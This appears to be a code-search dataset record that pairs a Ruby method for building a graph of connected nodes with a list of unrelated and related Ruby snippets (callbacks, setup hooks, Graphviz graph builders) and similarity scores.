"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def setup_signals; end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def initialize(*args)\n super\n @action = :set\nend",
"def after_set_callback; end",
"def setup\n #implement in subclass;\n end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def around_hooks; end",
"def save_action; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def default_action; end",
"def setup(&blk)\n @setup_block = blk\n end",
"def callback_phase\n super\n end",
"def advice\n end",
"def _handle_action_missing(*args); end",
"def duas1(action)\n action.call\n action.call\nend",
"def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end",
"def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend"
] |
[
"0.6163163",
"0.6045976",
"0.5946146",
"0.591683",
"0.5890051",
"0.58349305",
"0.5776858",
"0.5703237",
"0.5703237",
"0.5652805",
"0.5621621",
"0.54210985",
"0.5411113",
"0.5411113",
"0.5411113",
"0.5391541",
"0.53794575",
"0.5357573",
"0.53402257",
"0.53394014",
"0.53321576",
"0.53124547",
"0.529654",
"0.5296262",
"0.52952296",
"0.52600986",
"0.52442724",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.5232394",
"0.523231",
"0.5227454",
"0.52226824",
"0.52201617",
"0.5212327",
"0.52079266",
"0.52050185",
"0.51754695",
"0.51726824",
"0.51710224",
"0.5166172",
"0.5159343",
"0.51578903",
"0.51522785",
"0.5152022",
"0.51518047",
"0.51456624",
"0.51398855",
"0.5133759",
"0.5112076",
"0.5111866",
"0.5111866",
"0.5110294",
"0.5106169",
"0.509231",
"0.50873137",
"0.5081088",
"0.508059",
"0.50677156",
"0.50562143",
"0.5050554",
"0.50474834",
"0.50474834",
"0.5036181",
"0.5026331",
"0.5022976",
"0.5015441",
"0.50121695",
"0.5000944",
"0.5000019",
"0.4996878",
"0.4989888",
"0.4989888",
"0.49864885",
"0.49797225",
"0.49785787",
"0.4976161",
"0.49683493",
"0.4965126",
"0.4958034",
"0.49559742",
"0.4954353",
"0.49535993",
"0.4952725",
"0.49467874",
"0.49423352",
"0.49325448",
"0.49282882",
"0.49269363",
"0.49269104",
"0.49252945",
"0.4923091",
"0.49194667",
"0.49174926",
"0.49173003",
"0.49171105",
"0.4915879",
"0.49155936"
] |
0.0
|
-1
|
Never trust parameters from the scary internet, only allow the white list through.
|
def tipo_actividad_params
params.require(:tipo_actividad).permit(:nombre)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def allow_params_authentication!; end",
"def allowed_params\n ALLOWED_PARAMS\n end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def param_whitelist\n [:role, :title]\n end",
"def expected_permitted_parameter_names; end",
"def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end",
"def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end",
"def valid_params_request?; end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end",
"def allowed_params\n params.require(:allowed).permit(:email)\n end",
"def permitted_params\n []\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end",
"def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend",
"def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end",
"def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end",
"def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end",
"def safe_params\n params.require(:user).permit(:name)\n end",
"def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def check_params; true; end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def quote_params\n params.permit!\n end",
"def valid_params?; end",
"def paramunold_params\n params.require(:paramunold).permit!\n end",
"def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend",
"def filtered_parameters; end",
"def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end",
"def filtering_params\n params.permit(:email, :name)\n end",
"def check_params\n true\n end",
"def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend",
"def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end",
"def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end",
"def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend",
"def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end",
"def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end",
"def active_code_params\n params[:active_code].permit\n end",
"def filtering_params\n params.permit(:email)\n end",
"def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end",
"def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end",
"def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end",
"def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end",
"def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end",
"def list_params\n params.permit(:name)\n end",
"def filter_parameters; end",
"def filter_parameters; end",
"def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end",
"def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end",
"def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end",
"def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end",
"def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def url_whitelist; end",
"def admin_social_network_params\n params.require(:social_network).permit!\n end",
"def filter_params\n params.require(:filters).permit(:letters)\n end",
"def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end",
"def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end",
"def sensitive_params=(params)\n @sensitive_params = params\n end",
"def permit_request_params\n params.permit(:address)\n end",
"def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end",
"def secure_params\n params.require(:location).permit(:name)\n end",
"def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end",
"def question_params\n params.require(:survey_question).permit(question_whitelist)\n end",
"def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end",
"def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end",
"def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end",
"def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end",
"def url_params\n params[:url].permit(:full)\n end",
"def backend_user_params\n params.permit!\n end",
"def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend",
"def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end",
"def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end",
"def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end",
"def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end",
"def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end",
"def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end",
"def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end",
"def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end"
] |
[
"0.69792545",
"0.6781151",
"0.67419964",
"0.674013",
"0.6734356",
"0.6591046",
"0.6502396",
"0.6496313",
"0.6480641",
"0.6477825",
"0.64565",
"0.6438387",
"0.63791263",
"0.63740575",
"0.6364131",
"0.63192815",
"0.62991166",
"0.62978333",
"0.6292148",
"0.6290449",
"0.6290076",
"0.62894756",
"0.6283177",
"0.6242471",
"0.62382483",
"0.6217549",
"0.6214457",
"0.6209053",
"0.6193042",
"0.6177802",
"0.6174604",
"0.61714715",
"0.6161512",
"0.6151757",
"0.6150663",
"0.61461",
"0.61213595",
"0.611406",
"0.6106206",
"0.6105114",
"0.6089039",
"0.6081015",
"0.6071004",
"0.60620916",
"0.6019971",
"0.601788",
"0.6011056",
"0.6010898",
"0.6005122",
"0.6005122",
"0.6001556",
"0.6001049",
"0.59943926",
"0.5992201",
"0.59909594",
"0.5990628",
"0.5980841",
"0.59669393",
"0.59589154",
"0.5958826",
"0.5957911",
"0.5957385",
"0.5953072",
"0.59526145",
"0.5943361",
"0.59386164",
"0.59375334",
"0.59375334",
"0.5933856",
"0.59292704",
"0.59254247",
"0.5924164",
"0.59167904",
"0.59088355",
"0.5907542",
"0.59064597",
"0.5906243",
"0.5898226",
"0.589687",
"0.5896091",
"0.5894501",
"0.5894289",
"0.5891739",
"0.58860534",
"0.5882406",
"0.587974",
"0.58738774",
"0.5869024",
"0.58679986",
"0.5867561",
"0.5865932",
"0.5864461",
"0.58639693",
"0.58617616",
"0.5861436",
"0.5860451",
"0.58602303",
"0.5854586",
"0.58537364",
"0.5850427",
"0.5850199"
] |
0.0
|
-1
|
TODO: simplify this (reduce duplication)
|
def get_exceptions
if @exceptions1 == nil
filename = "../../../tex/generic/hyph-utf8/patterns/tex/hyph-#{@code}.tex";
lines = IO.readlines(filename, '.').join("")
exceptions = lines.gsub(/%.*/,'');
if (exceptions.index('\hyphenation') != nil)
@exceptions1 = exceptions.gsub(/.*\\hyphenation\s*\{(.*?)\}.*/m,'\1').
gsub(/\s+/m,"\n").
gsub(/^\s*/m,'').
gsub(/\s*$/m,'').
split("\n")
else
@exceptions1 = ""
end
end
return @exceptions1
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def private; end",
"def probers; end",
"def specie; end",
"def specie; end",
"def specie; end",
"def specie; end",
"def schubert; end",
"def formation; end",
"def offences_by; end",
"def suivre; end",
"def custom; end",
"def custom; end",
"def common\n \n end",
"def transformations; end",
"def operations; end",
"def operations; end",
"def apply\n\t\t\n\tend",
"def apply\n\t\t\n\tend",
"def same; end",
"def wrapper; end",
"def implementation; end",
"def implementation; end",
"def anchored; end",
"def transform; end",
"def next() end",
"def next() end",
"def offences_by=(_arg0); end",
"def original_result; end",
"def first; end",
"def first; end",
"def transforms; end",
"def identify; end",
"def terpene; end",
"def processor; end",
"def stderrs; end",
"def probers=(_arg0); end",
"def extra; end",
"def intensifier; end",
"def refutal()\n end",
"def merged_result; end",
"def parts; end",
"def parts; end",
"def parts; end",
"def sitemaps; end",
"def from; end",
"def from; end",
"def from; end",
"def from; end",
"def values() end",
"def berlioz; end",
"def verdi; end",
"def next()\n \n end",
"def next()\n \n end",
"def internal; end",
"def parse()\n #This is a stub, used for indexing\n end",
"def overrides; end",
"def isolated; end",
"def isolated; end",
"def order; end",
"def order; end",
"def rest_positionals; end",
"def ignores; end",
"def mathtex(*)\n super\n end",
"def initialize() end",
"def weber; end",
"def methods() end",
"def code_of_conduct; end",
"def init; end",
"def init; end",
"def init; end",
"def init; end",
"def result; end",
"def result; end",
"def result; end",
"def result; end",
"def result; end",
"def result; end",
"def result; end",
"def result; end",
"def mapping; end",
"def mapping; end",
"def bs; end",
"def operation; end",
"def calls; end",
"def calls; end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def villian; end",
"def parslet; end",
"def parslet; end",
"def parslet; end",
"def parslet; end"
] |
[
"0.69712687",
"0.60538334",
"0.5995105",
"0.5995105",
"0.5995105",
"0.5995105",
"0.5858518",
"0.5621973",
"0.5602077",
"0.55734813",
"0.55452204",
"0.55452204",
"0.5510428",
"0.5488014",
"0.548535",
"0.548535",
"0.5471465",
"0.5471465",
"0.5469301",
"0.54511654",
"0.5440506",
"0.5440506",
"0.54093474",
"0.53862584",
"0.53813815",
"0.53813815",
"0.5299758",
"0.5274057",
"0.5272346",
"0.5272346",
"0.52578706",
"0.52205265",
"0.5219512",
"0.52143276",
"0.52067477",
"0.5204143",
"0.52037454",
"0.5186366",
"0.51854974",
"0.5183766",
"0.51781374",
"0.51781374",
"0.51781374",
"0.5167914",
"0.51567584",
"0.51567584",
"0.51567584",
"0.51567584",
"0.5146879",
"0.5141338",
"0.51200235",
"0.5111493",
"0.5111493",
"0.50972533",
"0.5094224",
"0.5093098",
"0.50926393",
"0.50926393",
"0.5089192",
"0.5089192",
"0.508005",
"0.5078068",
"0.5076453",
"0.5065924",
"0.50602424",
"0.5049616",
"0.50431216",
"0.5040878",
"0.5040878",
"0.5040878",
"0.5040878",
"0.50286573",
"0.50286573",
"0.50286573",
"0.50286573",
"0.50286573",
"0.50286573",
"0.50286573",
"0.50286573",
"0.5027279",
"0.5027279",
"0.5026664",
"0.50255513",
"0.50250477",
"0.50250477",
"0.5019951",
"0.5019951",
"0.5019951",
"0.5019951",
"0.5019951",
"0.5019951",
"0.5019951",
"0.5019951",
"0.5019951",
"0.5019951",
"0.5019951",
"0.5017917",
"0.49903595",
"0.49903595",
"0.49903595",
"0.49903595"
] |
0.0
|
-1
|
Class to create a graph
|
def create_graph(arr)
nodes = []
(0...arr.size).each do |i|
node = Node.new(i)
nodes.push(node)
end
nodes.each_with_index do |node,i|
arr[i].each {|val| node.connections.push(nodes[val])}
end
nodes
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def generate_graph\n end",
"def initialize\n @vertices = {}\n create_graph\n end",
"def initialize(graph)\n @graph = graph\n end",
"def make_graph\n\t\t@graph = Graph.new(@width2, @height2, @maze)\n\tend",
"def initialize graph\n # Make the data entry easier with default hash values\n @graph = Hash.new{|h,k| h[k]=Vertex.new(k,[],false,nil,nil)}\n @rev = Hash.new{|h,k| h[k]=Vertex.new(k,[],false,nil,nil)}\n @t = 0\n @s = nil\n @f_times = []\n\n graph.each do |(v1,v2)|\n @graph[v1].neighbours << v2\n @graph[v2]\n @rev[v2].neighbours << v1\n @rev[v1]\n end\n\n # Set the hash back to its safe default\n @graph.default = @rev.default = nil\n return @graph\n end",
"def initialize(graph)\n @graph = graph\n end",
"def initialize(graph)\n @graph = graph\n end",
"def create_dot_graph\r\n\r\n \t# Create the base object, then add edges/nodes later etc\r\n \tmy_graph = Graph.new\r\n \tmy_graph.name= \"State_Model\"\r\n \tmy_graph.node_style= :ellipse\r\n \tmy_graph.type = :digraph\r\n\r\n \t# For each entry in the Adjacency matrix extract the relationships and add the graph edges.\r\n \tself.adjacency_matrix.each_key do |table_key|\r\n \t\ttransition_list=self.adjacency_matrix[table_key]\r\n \t\ttransition_list.each do |transition|\r\n \t\t # is the action guarded?\r\n \t\t if self.guarded_actions !=nil\r\n \t\t guarded=self.guarded_actions.include? transition.action\r\n \t\t\tend # end if \r\n \t\t\t# add the edge...\r\n \t\t\tmy_graph.add_edge(transition.start_state, transition.end_state, \" #{transition.action} \", guarded)\r\n \t\tend # end add transitions\r\n \tend # end add nodes\r\n\r\n \treturn my_graph\r\n end",
"def graph\n Graph.new(project_path_trie, tsort)\n end",
"def initialize(graph)\n @graph = graph\n end",
"def initialize\n @nodes = {}\n @edges = {}\n @back_edges = {}\n end",
"def graph\n @g ||= GraphViz.new(:G, :type => :digraph)\n end",
"def create_new_graph\n self.graph = Deployment::Graph.new(self)\n end",
"def build_graph\n \n RDF::Graph.load(@options.file).each do |statement|\n subject = statement.subject\n predicate = statement.predicate\n object = statement.object\n \n edge(predicate,node(subject),node(object))\n end\n end",
"def graph\n @graph ||= ordered_list.to_graph\n end",
"def new_graph\n # Clear physics\n physics.clear\n center = TVec2D.new(width / 2, height / 2)\n @clusters = (0..8).map do\n Cluster.new(\n app: self,\n number: rand(3..8),\n diameter: rand(20..100),\n center: center\n )\n end\n #\tAll clusters connect to all clusters\n clusters.each_with_index do |ci, i|\n clusters[i + 1..clusters.size - 1].each do |cj|\n ci.connect(cj)\n end\n end\nend",
"def graph\n @graph ||= Codependency::Graph.new\n end",
"def init_graph\n Graph.new(self, skip_track: :broad)\n end",
"def get_graph\n @graph = Graph.new\n @tparses.each do |p|\n if p[:args]\n p[:args].each do |type, arg|\n @graph.add_edge(p[:idx], arg, 1) if arg >= 0\n end\n end\n end\n\n g = GraphViz.new(:G, :type => :digraph)\n g.node[:shape] = \"box\"\n g.node[:fontsize] = 11\n g.edge[:fontsize] = 9\n\n n = []\n @tparses.each do |p|\n n[p[:idx]] = g.add_nodes(p[:idx].to_s, :label => \"#{p[:word]}/#{p[:pos]}/#{p[:cat]}\")\n end\n\n @tparses.each do |p|\n if p[:args]\n p[:args].each do |type, arg|\n if arg >= 0 then g.add_edges(n[p[:idx]], n[arg], :label => type) end\n end\n end\n end\n\n g.get_node(@root.to_s).set {|_n| _n.color = \"blue\"} if @root >= 0\n g.get_node(@focus.to_s).set {|_n| _n.color = \"red\"} if @focus >= 0\n\n @graph_rendering = g.output(:svg => String)\n end",
"def initialize tuples, directed, save_intermediate=true\n @graph = Graph.new tuples, directed, 0\n @levels = [] # List of Graphs\n @save_intermediate_graphs = save_intermediate\n end",
"def create_graph\n all_coordinates = get_all_coordinates\n all_coordinates.each do |key|\n neighbors = get_neighbor_arr(key)\n add_vertex(key,neighbors)\n end\n @vertices\n end",
"def graph_new(program, gopts={}, nopts={}, eopts={})\n # initialize new Graphviz graph\n # g = GraphViz::new( \"G\" )\n # program should be one of dot / neato / twopi / circo / fdp\n g = GraphViz::new( :G, :type => :graph, :use=>program)\n g[:overlap] = gopts[:overlap] || \"orthoxy\"\n g[:rankdir] = gopts[:rankdir] || \"LR\"\n \n # set global node options\n g.node[:color] = nopts[:color] || \"#3d0d4c\"\n g.node[:style] = nopts[:style] || \"filled\"\n g.node[:shape] = nopts[:shape] || \"box\"\n g.node[:penwidth] = nopts[:penwidth] || \"1\"\n g.node[:fontname] = nopts[:fontname] || \"Arial\" # \"Trebuchet MS\"\n g.node[:fontsize] = nopts[:fontsize] || \"8\"\n g.node[:fillcolor]= nopts[:fillcolor] || LatticeGridHelper.default_fill_color\n g.node[:fontcolor]= nopts[:fontcolor] || \"#474724\"\n g.node[:margin] = nopts[:margin] || \"0.0\"\n g.node[:width] = nopts[:width] || \"0.2\"\n g.node[:height] = nopts[:height] || \"0.1\"\n g.node[:shape] = nopts[:shape] || \"ellipse\"\n g.node[:margin] = nopts[:margin] || \"0.05\"\n \n # set global edge options\n g.edge[:color] = eopts[:color] || \"#999999\"\n g.edge[:len] = eopts[:len] || \"1\"\n g.edge[:fontsize] = eopts[:fontsize] || \"6\"\n g.edge[:fontcolor] = eopts[:fontcolor] || \"#444444\"\n g.edge[:fontname] = eopts[:fontname] || \"Verdana\"\n g.edge[:dir] = eopts[:dir] || \"forward\"\n g.edge[:arrowsize] = eopts[:arrowsize] || \"0.0\"\n \n return g\nend",
"def to_dot_graph (params = {})\n params['name'] ||= self.class.name.gsub(/:/,'_')\n fontsize = params['fontsize'] ? params['fontsize'] : '8'\n graph = (directed? ? DOT::DOTDigraph : DOT::DOTSubgraph).new(params)\n edge_klass = directed? ? DOT::DOTDirectedEdge : DOT::DOTEdge\n vertices.each do |v|\n name = v.to_s\n params = {'name' => '\"'+name+'\"',\n 'fontsize' => fontsize,\n 'label' => name}\n v_label = v.to_s\n params.merge!(v_label) if v_label and v_label.kind_of? Hash\n graph << DOT::DOTNode.new(params)\n end\n edges.each do |e|\n params = {'from' => '\"'+ e.source.to_s + '\"',\n 'to' => '\"'+ e.target.to_s + '\"',\n 'fontsize' => fontsize }\n e_label = e.to_s\n params.merge!(e_label) if e_label and e_label.kind_of? Hash\n graph << edge_klass.new(params)\n end\n graph\n end",
"def initialize(options = nil)\n options ||= {}\n @labeled_edges = !options[:ignore_labels]\n @directed = !options[:undirected]\n\n if @labeled_edges\n @labels = []\n class << self\n include LabeledGraph\n end\n else\n class << self\n include UnlabeledGraph\n end\n end\n\n @nodes = Set.new\n @edges = Hash.new {|h,k| h[k] = Set.new; h[k]}\n @add_edge_callbacks = []\n\n unless self.directed\n @add_edge_callbacks << Proc.new {|from,to,label| actually_add_edge(to,from,label)}\n end\n end",
"def graph\n if @graph.nodes.empty?\n build_nodes!\n establish_edges!\n end\n\n @graph\n end",
"def graph\n if @graph.nodes.empty?\n build_nodes!\n establish_edges!\n end\n\n @graph\n end",
"def initialize\n @graph_command = []\n end",
"def initialize(*graph)\n @graphs = graph\n end",
"def graph(sha)\n Graph.new(self, sha)\n end",
"def make_graph\r\n lines.each {|line, stations|\r\n stations.each_with_index {|x, index|\r\n unless stations.at(index+1).nil?\r\n graph.add_edge(find_node(x), find_node(stations.at(index+1)))\r\n end\r\n }\r\n }\r\n end",
"def initialize(nodes, edges)\n super()\n self.nodes = nodes\n self.edges = edges.map { |e| Edge.new(e[0], e[1], e[2]) }\n\n self.build\n end",
